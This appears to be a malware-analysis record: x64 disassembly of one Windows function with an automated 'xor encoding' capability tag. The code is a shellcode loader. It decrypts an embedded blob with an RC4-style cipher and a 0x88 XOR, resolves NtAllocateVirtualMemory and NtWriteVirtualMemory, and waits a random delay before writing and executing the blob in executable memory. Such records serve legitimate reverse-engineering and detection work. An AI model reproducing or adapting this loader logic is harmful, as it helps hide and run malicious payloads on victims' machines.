Function at 0x140003ff0
Capabilities:
Encode data using xor

Disassembly:
mov rax, rsp
push rbp
push r12
push r13
lea rbp, [rax - 0x3d8]
sub rsp, 0x4c0
mov qword [rsp + 0x48], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov rax, qword [0x1401f8f48]
xor rax, rsp
mov qword [rbp + 0x3b0], rax
xor r13d, r13d
mov qword [rbp + 0x3a0], r13
lea rcx, [rbp - 0x60]
call fcn.140002f50
lea rdi, [0x1401fb0a0]
mov r9d, 0x12c1
mov r10d, dword [rbp + 0x3a4]
mov r8d, dword [rbp + 0x3a0]
nop word [rax + rax]
lea eax, [r8 + 1]
and eax, 0x800000ff
jge 0x140004074
dec eax
or eax, 0xffffff00
inc eax
mov dword [rbp + 0x3a0], eax
movsxd r8, eax
mov eax, dword [rbp + r8*4 - 0x60]
add eax, r10d
and eax, 0x800000ff
jge 0x140004095
dec eax
or eax, 0xffffff00
inc eax
mov dword [rbp + 0x3a4], eax
movzx edx, byte [rbp + r8*4 - 0x60]
cdqe
mov ecx, dword [rbp + rax*4 - 0x60]
mov dword [rbp + r8*4 - 0x60], ecx
movsxd rax, dword [rbp + 0x3a4]
mov dword [rbp + rax*4 - 0x60], edx
movsxd r10, dword [rbp + 0x3a4]
movsxd r8, dword [rbp + 0x3a0]
mov edx, dword [rbp + r10*4 - 0x60]
add edx, dword [rbp + r8*4 - 0x60]
and edx, 0x800000ff
jge 0x1400040e1
dec edx
or edx, 0xffffff00
inc edx
movsxd rax, edx
movzx ecx, byte [rbp + rax*4 - 0x60]
xor byte [rdi], cl
inc rdi
dec r9
jne 0x140004060
mov qword [rbp - 0x70], 0xf
mov qword [rbp - 0x78], r13
mov byte [rsp + 0x78], r13b
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [0x1401fb0a0]
repne scasb al, byte [rdi]
not rcx
lea r8, [rcx - 1]
lea rdx, [0x1401fb0a0]
lea rcx, [rsp + 0x78]
call fcn.140001590
nop
lea rdx, [rsp + 0x78]
lea rcx, [rsp + 0x50]
call fcn.140001050
nop
lea rax, [rsp + 0x50]
cmp qword [rsp + 0x68], 0x10
cmovae rax, qword [rsp + 0x50]
movsxd rcx, dword [rsp + 0x60]
test rcx, rcx
je 0x14000416b
nop dword [rax + rax]
xor byte [rax], 0x88
inc rax
dec rcx
jne 0x140004160
lea rcx, str.NTDLL.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rdi, rax
test rax, rax
jne 0x1400041aa
cmp qword [rsp + 0x68], 0x10
jb 0x140004192
mov rcx, qword [rsp + 0x50]
call fcn.140004400
mov qword [rsp + 0x68], 0xf
mov qword [rsp + 0x60], r13
mov byte [rsp + 0x50], 0
jmp 0x1400042f4
lea rdx, str.NtAllocateVirtualMemory
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
lea rdx, str.NtWriteVirtualMemory
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rsi, rax
test rbx, rbx
je 0x1400042cf
test rax, rax
je 0x1400042cf
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r12, rax
mov qword [rsp + 0x30], r13
mov qword [rsp + 0x40], 0x12c1
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0x3000
lea r9, [rsp + 0x40]
xor r8d, r8d
lea rdx, [rsp + 0x30]
mov rcx, rax
call rbx
test eax, eax
je 0x140004249
cmp qword [rsp + 0x68], 0x10
jb 0x140004231
mov rcx, qword [rsp + 0x50]
call fcn.140004400
mov qword [rsp + 0x68], 0xf
mov qword [rsp + 0x60], r13
mov byte [rsp + 0x50], 0
jmp 0x1400042f4
call fcn.140149434
mov edi, eax
mov eax, 0x4ec4ec4f
imul edi
sar edx, 3
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul edx, edx, 0x1a
sub edi, edx
imul edi, edi, 0x2ee0
movsxd rcx, edi
call fcn.140003460
mov dword [rsp + 0x38], r13d
lea r8, [rsp + 0x50]
cmp qword [rsp + 0x68], 0x10
cmovae r8, qword [rsp + 0x50]
lea rax, [rsp + 0x38]
mov qword [rsp + 0x20], rax
mov r9d, dword [rsp + 0x60]
mov rdx, qword [rsp + 0x30]
mov rcx, r12
call rsi
call qword [rsp + 0x30]
nop
cmp qword [rsp + 0x68], 0x10
jb 0x1400042ba
mov rcx, qword [rsp + 0x50]
call fcn.140004400
mov qword [rsp + 0x68], 0xf
mov qword [rsp + 0x60], r13
mov byte [rsp + 0x50], 0
jmp 0x1400042f4
cmp qword [rsp + 0x68], 0x10
jb 0x1400042e1
mov rcx, qword [rsp + 0x50]
call fcn.140004400
mov qword [rsp + 0x68], 0xf
mov qword [rsp + 0x60], r13
mov byte [rsp + 0x50], 0
cmp qword [rbp - 0x70], 0x10
jb 0x140004305
mov rcx, qword [rsp + 0x78]
call fcn.140004400
mov rcx, qword [rbp + 0x3b0]
xor rcx, rsp
call fcn.1401471d0
lea r11, [rsp + 0x4c0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r13
pop r12
pop rbp
ret